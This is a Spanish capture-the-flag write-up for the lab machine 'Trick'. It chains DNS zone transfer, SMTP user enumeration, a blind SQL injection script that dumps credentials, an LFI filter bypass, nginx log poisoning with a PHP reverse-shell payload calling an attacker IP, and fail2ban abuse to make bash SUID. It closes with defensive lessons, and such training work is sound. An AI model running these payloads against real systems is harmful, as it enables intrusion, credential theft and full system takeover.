Trick
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Trick encadena varios fallos web clásicos. Una transferencia de zona DNS revelapreprod-payroll.trick.htb; en su panel, un'or 1=1-- -(SQLi) salta la autenticación y un boolean-based automatizado vuelcaEnemigosss:SuperGucciRainbowCake. Un fuzzing de subdominios descubrepreprod-marketing.trick.htb, vulnerable a un LFI que se salta el filtro de../con....//. El LFI se convierte en RCE por envenenamiento del log de nginx (cabeceraUser-Agent), dando shell comomichael. Por último,michaelpuede reiniciar fail2ban por sudo: editando suactionbanpara hacer/bin/bashSUID (abuso de fail2ban) se obtiene root.
Reconocimiento
Ping
ping -c 1 10.10.11.166
PING 10.10.11.166 (10.10.11.166) 56(84) bytes of data.
64 bytes from 10.10.11.166: icmp_seq=1 ttl=63 time=107 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Barrido UDP
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.166 | grep -v 'no-response'
Initiating UDP Scan at 18:58
Discovered open port 53/udp on 10.10.11.166
Completed UDP Scan at 18:58, 0.58s elapsed (100 total ports)
Not shown: 5 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 63
Nmap done: 1 IP address (1 host up) scanned in 0.66 secondsUn único puerto UDP abierto, el 53 (DNS). Que una máquina exponga DNS ya es raro, y suele significar que resuelve nombres para algo: dominios internos, subdominios, virtual hosting. Se apunta como prioridad.
Escaneo de puertos
Barremos los 65535 puertos TCP para descubrir los abiertos y, sobre ellos, lanzaremos un escaneo dirigido de versiones (dos fases: descubrir rápido, luego perfilar).
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.166 -oG scan
Initiating SYN Stealth Scan at 18:58
Discovered open port 25/tcp on 10.10.11.166
Discovered open port 80/tcp on 10.10.11.166
Discovered open port 53/tcp on 10.10.11.166
Discovered open port 22/tcp on 10.10.11.166
Completed SYN Stealth Scan at 18:58, 15.24s elapsed (65535 total ports)
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
25/tcp open smtp syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 15.34 secondsLos 65531 restantes salen closed (responden con RST), no filtered: no hay cortafuegos descartando tráfico, simplemente no hay nada escuchando. El 53 aparece también en TCP, lo que confirma un servidor DNS completo (UDP para consultas normales, TCP para respuestas grandes y transferencias de zona).
extractPorts scan
Extracting information...
IP Address: 10.10.11.166
Open ports: 22,25,53,80
Ports copied to clipboardnmap -p22,25,53,80 -sCV 10.10.11.166
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap ThemeEl detalle de versiones aporta dos pistas valiosas: el SMTP (Postfix) admite VRFY, un comando que sirve para preguntar si una cuenta existe (enumeración de usuarios del sistema), y el DNS es un BIND que puede permitir transferencias de zona.
TCP 80: la web es un señuelo
whatweb http://10.10.11.166
http://10.10.11.166 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.14.2], IP[10.10.11.166], Script, Title[Coming Soon - Start Bootstrap Theme], nginx[1.14.2]Wappalyzer no añade nada: solo nginx 1.14.2, catalogado a la vez como servidor web y como proxy inverso, lo que sugiere que delante puede haber más de un virtual host.

El código fuente confirma que es una plantilla comprada sin personalizar:

<title>Coming Soon - Start Bootstrap Theme</title>
...
<!-- * * SB Forms Contact Form * *-->
<!-- This form is pre-integrated with SB Forms.-->
<!-- To make this form functional, sign up at-->
<!-- https://startbootstrap.com/solution/contact-forms-->
<!-- to get an API token!-->
<form id="contactForm" data-sb-form-api-token="API_TOKEN">El data-sb-form-api-token="API_TOKEN" es el marcador de posición sin sustituir de la plantilla, no una fuga real. La web del 80 no es el vector; el foco vuelve al DNS.
DNS - TCP/UDP 53
Con un servidor DNS delante y sin saber qué dominio sirve, lo primero es una consulta inversa: preguntarle al propio servidor qué nombre corresponde a su IP.
nslookup
> server 10.10.11.166
> 10.10.11.166
> server 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 10.10.11.166
166.11.10.10.in-addr.arpa name = trick.htb.El mismo resultado con dig, que además muestra los registros de apoyo:
dig -x 10.10.11.166 @10.10.11.166
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1Hay un detalle que conviene entender: el registro A de trick.htb apunta a 127.0.0.1, no a 10.10.11.166. Eso es normal en estas configuraciones, el DNS resuelve el nombre desde el punto de vista del propio servidor, y es la razón por la que el dominio hay que mapearlo a mano en /etc/hosts en lugar de dejar que el DNS lo resuelva.
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.166 trick.htbCon el dominio, se prueba una transferencia de zona (AXFR), que es pedirle al DNS la zona entera de golpe. Solo debería permitirse a servidores secundarios declarados:
dig axfr trick.htb @10.10.11.166
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. ...
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.La transferencia funciona y filtra el subdominio preprod-payroll.trick.htb, que también va al /etc/hosts:

10.10.11.166 trick.htb preprod-payroll.trick.htbSMTP - TCP 25
En paralelo, aprovechamos el VRFY que anunciaba nmap. No hay herramienta que haga falta: un nc que envíe EHLO, VRFY <usuario> y QUIT, y que mire el código de respuesta. Un 252 significa que la cuenta existe.
cat smtp_userenum.sh
#!/bin/bash
userfile="/home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt"
userlist=smtp_userlist.txt
max_threads=400
counter=0
while read -r user; do
(
response=$(echo -e "EHLO test\nVRFY $user\nQUIT" | nc 10.10.11.166 25 | tail -n 2 | head -n 1 | awk '{print $1}')
if [ "$response" = "252" ]; then
echo -e "${yellowColour}[+]${endColour} ${blueColour}User '$user' exists${endColour}"
echo "$user" >> $userlist
fi
) &
counter=$((counter+1))
if [ "$counter" -ge "$max_threads" ]; then
wait
counter=0
fi
done < "$userfile"
waitEl bloque de max_threads no es adorno: cada consulta tarda unos cinco segundos porque nc espera a que el servidor cierre, así que en serie el diccionario tardaría semanas. Lanzando 400 en paralelo y esperando por bloques, baja a minutos.
./smtp_userenum.sh
[+] User 'michael' exists
[+] User 'root' exists
[+] User 'man' exists
[+] User 'games' existsLa mayoría son cuentas de sistema de cualquier Debian (mail, news, man, bin, games), pero michael no lo es: es un usuario real, y ese nombre reaparecerá más adelante.
TCP 80: fuzzing del dominio principal
Antes de saltar al subdominio, cerramos el dominio principal:
dirsearch -u http://trick.htb/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://trick.htb/
[13:31:16] Starting:
[13:31:18] 301 - 185B - /js → http://trick.htb/js/
[13:31:43] 301 - 185B - /assets → http://trick.htb/assets/
[13:31:52] 301 - 185B - /css → http://trick.htb/css/
Task CompletedSolo los tres directorios de una plantilla estática. Aun así descargamos el sitio y buscamos por contenido, que es donde a veces aparece lo que el fuzzing no ve:
grep -riE 'dbpass|creds|password|trick|pass|user' --text .
./trick.htb/index.html: <!-- This is what your users will see when the form-->
./trick.htb/css/styles.css: -webkit-user-select: none;
./trick.htb/css/styles.css: -moz-user-select: none;
./trick.htb/css/styles.css: user-select: none;
...Todos los aciertos son ruido: propiedades CSS user-select y comentarios de la plantilla. Ni una credencial. El dominio principal queda cerrado.
Acceso al panel: SQL injection
Bypass de autenticación
preprod-payroll.trick.htb muestra un Recruitment Management System con login. Lo primero, descartar lo trivial:

Username or password is incorrect.admin:admin falla, pero el mensaje es informativo: la aplicación consulta una base de datos para validar, y ese es exactamente el sitio donde probar una inyección. El clásico payload de SQL injection:
'or 1=1-- -
La lógica es simple: si la consulta original es SELECT * FROM users WHERE username='<entrada>' AND password='<entrada>', la comilla cierra la cadena, or 1=1 hace la condición siempre cierta y -- - comenta el resto (incluida la comprobación de la contraseña). El servidor devuelve la primera fila de la tabla, que es el administrador:

SQLi ciega booleana automatizada
Estar dentro del panel es útil, pero la inyección da mucho más. Comparando la respuesta ante una condición verdadera y una falsa, el servicio devuelve 1 cuando es cierta y 3 cuando es falsa: una inyección ciega booleana:
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=1-- -&password='test'" # -> 1
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or 1=3-- -&password='test'" # -> 3
1
3Ese oráculo de un solo carácter es todo lo que hace falta. Lo comprobamos con una consulta real, comparando el primer carácter del nombre de la base de datos:
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='p'-- -&password='test'"
curl 'http://preprod-payroll.trick.htb/ajax.php?action=login' -d "username='or (select substring(database(),1,1))='g'-- -&password='test'"
# substring(database(),1,1) = 'p' → 1 (cierto)
# substring(database(),1,1) = 'g' → 3 (falso)Con 'p' responde 1 y con 'g' responde 3: el primer carácter es una p. Repetir eso por cada posición y cada carácter posible es lo que automatiza el script en Python: dos bucles anidados (posición y carácter) que van concatenando el resultado y lo pintan con una barra de progreso de pwn.
for position in range(1, 60):
for character in characters:
post_data = {
'username': "' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s'-- -" % (position, character),
'password': 'test'
}
r = requests.post(login_url, data=post_data)
if r.text == "1":
result += character
p2.status(result)
breakpython3 sqli.py
[^] SQLi: ' or substring((select group_concat(schema_name) from information_schema.schemata),32,1)='v'-- -
[0] SQLi: information_schema,payroll_dbLa base de datos de la aplicación es payroll_db. Cambiando la consulta del script (misma mecánica, distinta fuente) salen las tablas:
' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),%d,1))=hex('%s')-- -
[w] SQLi: ' or hex(substring((select group_concat(table_name) from information_schema.tables where table_schema='payroll_db'),119,1))=hex(',')-- -
[d] SQLi: position,employee,department,payroll_items,attendance,employee_deductions,employee_allowances,users,deductions,payroll,El envoltorio en hex() a ambos lados no es capricho: evita problemas con la comparación de mayúsculas y minúsculas (MySQL compara cadenas sin distinguir por defecto) y con caracteres que romperían la comilla. De las diez tablas, la que interesa es users. Sus columnas:
' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),%d,1))=hex('%s')-- -
[ ] SQLi: ' or hex(substring((select group_concat(column_name) from information_schema.columns where table_schema='payroll_db' and table_name='users'),58,1))=hex('T')-- -
[/] SQLi: id,doctor_id,name,address,contact,username,password,typeY con name, username y password localizadas, los registros:
' or hex(substring((select group_concat(name,':',username,':',password) from users),%d,1))=hex('%s')-- -
[+] SQLi: Administrator:Enemigosss:SuperGucciRainbowCakeUn solo usuario, y la contraseña en claro (ni siquiera hasheada).
La misma contraseña, sin SQLi
Merece la pena enseñar el atajo, porque el mismo dato estaba a dos clics dentro del panel. La pestaña Users lista al único usuario y ofrece un botón de edición:


El campo de contraseña viene relleno, pero oculto tras el type="password" del HTML. Esa ocultación es puramente visual: el valor ya está en el DOM del navegador, así que quitando el atributo desde el inspector aparece en claro.

Coincide con la que sacó la SQLi. La guardamos:
echo 'Enemigosss:SuperGucciRainbowCake' > creds.txt
cat creds.txt
Enemigosss:SuperGucciRainbowCakeShell como michael
Más subdominios: vhost fuzzing
El prefijo preprod- sugiere que hay más entornos de preproducción y que la transferencia de zona solo declaraba uno. Un fuzzing de la cabecera Host mantiene el prefijo y prueba el resto:
wfuzz -u 'http://trick.htb' -H 'Host: preprod-FUZZ.trick.htb' \
-w directory-list-2.3-big.txt -t 200 --hh=5480,173
ID Response Lines Word Chars Payload
000000566: 200 178 L 631 W 9660 Ch "marketing"El --hh=5480,173 filtra por longitud de respuesta: 5480 caracteres es la portada por defecto (lo que devuelve nginx ante un Host desconocido) y 173 la respuesta de error. Sin ese filtro, las 220000 peticiones habrían devuelto 220000 falsos positivos. preprod-marketing se sale de ambos tamaños con 9660 caracteres.
nano /etc/hosts
cat /etc/hosts
10.10.11.166 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htbLFI con bypass de ../
El nuevo subdominio es una web corporativa, y su navegación delata algo interesante: cada sección se carga con un parámetro page.

Un parámetro que recibe un nombre de fichero y lo incluye es candidato inmediato a Local File Inclusion. El primer intento, con el ../ de siempre, no devuelve nada:

Página en blanco, no un error. Eso normalmente significa que el ../ se está filtrando, no que el parámetro sea seguro. La pregunta es cómo se filtra: si el saneado es un str_replace('../','') de una sola pasada, basta con anidar el patrón. Con ....//, al eliminar el ../ del centro queda ../ otra vez.
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bashEl --path-as-is de curl es imprescindible: sin él, curl normaliza la ruta y colapsa los ../ antes de enviar la petición, con lo que el payload nunca llegaría intacto al servidor.
Además del michael del final, el passwd confirma la pila que ya conocíamos (mysql, postfix, bind, todos coherentes con los puertos 25 y 53). Filtrando por las cuentas con shell real:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd' \
--path-as-is | grep bash
root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bashSolo root y michael, el mismo nombre que había salido por SMTP. Dos fuentes independientes apuntando al mismo usuario.
LFI a RCE: envenenamiento del log de nginx
Con un LFI se podría intentar leer el id_rsa de michael, pero hay una vía más fiable. Wappalyzer sobre este subdominio confirma el dato que la hace posible: además de nginx, la aplicación es PHP.

Que sea PHP es la clave: el LFI no solo lee el fichero incluido, lo interpreta. Si conseguimos escribir código PHP en un fichero que podamos incluir, ese código se ejecutará. Y nginx escribe cada petición recibida en /var/log/nginx/access.log, incluyendo la cabecera User-Agent tal cual.
Primero comprobamos que el log es legible por el LFI:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' --path-as-is
10.10.16.6 - - [12/Nov/2025:13:31:17 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET / HTTP/1.1" 200 1837 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /Drv7zc HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."
10.10.16.6 - - [12/Nov/2025:13:31:18 +0100] "GET /RG2Gkt HTTP/1.1" 404 199 "-" "Mozilla/5.0 ..."Se lee, y además se ve el rastro de nuestro propio fuzzing (las dos rutas aleatorias con 404 son las que dirsearch usa para calibrar). Confirmado que el log es legible y que el User-Agent acaba dentro, dejamos nc a la escucha y envenenamos:
nc -nlvp 4444curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log' \
-H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.6 4444 >/tmp/f');?>"
10.10.16.6 - - [12/Nov/2025:14:19:54 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
10.10.16.6 - - [12/Nov/2025:14:20:13 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log H
8.15.0"
10.10.16.6 - - [12/Nov/2025:14:20:25 +0100] "GET /index.php?page=....//....//....//....//....//var/log/nginx/access.log HEsta petición hace dos cosas a la vez: nginx apunta nuestro User-Agent malicioso en el log y el LFI incluye ese mismo log. La respuesta que vemos es la del log antes de escribir la línea nueva; basta volver a pedirlo para que el PHP recién escrito se interprete:
curl 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//var/log/nginx/access.log'
michael@trick:/var/www/market$ whoami
michaelEl payload usa un FIFO (mkfifo /tmp/f) en vez de un bash -i >& /dev/tcp/... porque exec() de PHP no hereda una TTY: el fifo hace de puente bidireccional entre nc y la shell.
La flag de usuario:

michael@trick:/var/www/market$ cat /home/michael/user.txt
ed45e92ac0dc32c574a9d6b22783c11bEscalada de privilegios
Abuso de fail2ban por sudo
michael puede reiniciar fail2ban como root sin contraseña (abuso de fail2ban):
sudo -l
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restartfail2ban ejecuta una acción (actionban) cuando banea una IP, definida en /etc/fail2ban/action.d/iptables-multiport.conf. michael pertenece al grupo security y, aunque el fichero no es escribible directamente, sí puede sustituirlo: se copia, se edita el actionban para que ponga SUID a /bin/bash, se renombra el original y se coloca el modificado en su lugar:
cp action.d/iptables-multiport.conf /tmp/iptables-multiport.conf
# editar: actionban = chmod u+s /bin/bash
mv action.d/iptables-multiport.conf action.d/iptables-multiport.bak
mv /tmp/iptables-multiport.conf action.d/iptables-multiport.conf
michael@trick:/etc/fail2ban$ cat action.d/iptables-multiport.conf | grep actionban
# Notes.: command executed once before each actionban command
# Option: actionban
actionban = chmod u+s /bin/bashEl cat ... | grep actionban confirma que el fichero sustituido define actionban = chmod u+s /bin/bash.
Se aplica la configuración con el restart autorizado y se dispara el actionban provocando baneos (p. ej. un brute force SSH con hydra). Al ejecutarse la acción, /bin/bash queda SUID y bash -p conserva el euid=0 heredado en lugar de descartarlo (lo que bash hace por defecto al arrancar), dándonos root:
sudo /etc/init.d/fail2ban restart
hydra -l michael -P rockyou.txt ssh://10.10.11.166 -t 64 -I
ls -l /bin/bash # -rwsr-xr-x ... root root
bash -p
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
bash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)La flag final:

bash-5.0# cat /root/root.txt
6db358fdfa64b72f93a56824eb42ce8fCadena de ataque
TTL 63 (Linux) ─▶ UDP 53 + TCP 22/25/53/80
│ nslookup/dig -x ─▶ trick.htb │ AXFR ─▶ preprod-payroll
▼
SMTP VRFY (script con 400 hilos) ─▶ michael
│ payroll: SQLi 'or 1=1-- - ─▶ admin (y el inspector da lo mismo)
│ blind boolean SQLi ─▶ payroll_db.users ─▶ Enemigosss:SuperGucciRainbowCake
▼
vhost fuzz ─▶ preprod-marketing ─▶ LFI (....// bypass, --path-as-is)
│ Wappalyzer: PHP ─▶ el include INTERPRETA
│ log poisoning (User-Agent en access.log)
▼
shell michael ─▶ user.txt
│ sudo /etc/init.d/fail2ban restart + actionban = chmod u+s /bin/bash
▼
/bin/bash SUID ─▶ bash -p ─▶ root ─▶ root.txtLecciones aprendidas
- No expongas transferencias de zona. Un
AXFRabierto regala el mapa de subdominios internos (preprod-*), incluido el entorno de preproducción vulnerable. Restringirallow-transfera los secundarios. - La zona no lo cuenta todo. El
AXFRsolo declarabapreprod-payroll; el subdominio que abre la máquina (preprod-marketing) apareció fuzzeando la cabeceraHost. Una fuente de información no sustituye a la otra. - VRFY filtra usuarios. Dejar
VRFYactivo en SMTP permite enumerar cuentas del sistema (michael), base para fuerza bruta o para confirmar usuarios del LFI. Desactivarlo. - Un filtro de
../que borra una sola pasada es trivial de saltar.....//colapsa a../tras el reemplazo. Sanear con canonicalización real (realpath) y listas blancas, no constr_replace. - Una contraseña oculta con
type="password"no está oculta. El valor ya viaja al navegador; el atributo solo cambia cómo se pinta. Nunca enviar al cliente un secreto que el cliente no deba ver. - LFI + PHP + logs legibles = RCE. El envenenamiento del log de nginx convierte una lectura de ficheros en ejecución, porque el
includede PHP interpreta lo que lee. Restringir el acceso a logs y no incluir rutas controladas por el usuario. - fail2ban es un binario que ejecuta comandos como root. Dar
restartpor sudo, con sus ficheros de acción manipulables, equivale a root. Protegeraction.d/y no conceder control sobre servicios que ejecutan acciones arbitrarias.